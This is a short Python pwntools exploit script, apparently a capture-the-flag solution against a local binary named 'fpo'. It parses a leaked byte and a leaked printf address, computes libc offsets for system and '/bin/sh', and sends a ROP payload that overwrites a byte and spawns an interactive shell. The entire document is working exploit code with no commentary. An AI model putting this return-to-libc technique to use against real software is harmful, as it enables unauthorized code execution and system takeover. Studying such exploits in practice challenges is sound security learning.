from pwn import *

p = process(['./fpo', 'AAAA'])

p.recvuntil(': ')
tmp = p.recvuntil('\n')
one_byte = int(tmp[12:14], 16)

print hex(one_byte)

p.recvuntil(': ')
printf = p.recvuntil('\n')
printf = int(printf, 16)

libc_base = printf - 0x54340
system = libc_base + 0x46590
binsh = libc_base + 0x180543
exit = libc_base + 0x3c1e0

pr = 0x00400813

payload = "\x90"*8
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)
payload += "\x90"*(48-len(payload))
payload += p64(one_byte)

p.send(payload)
p.interactive()
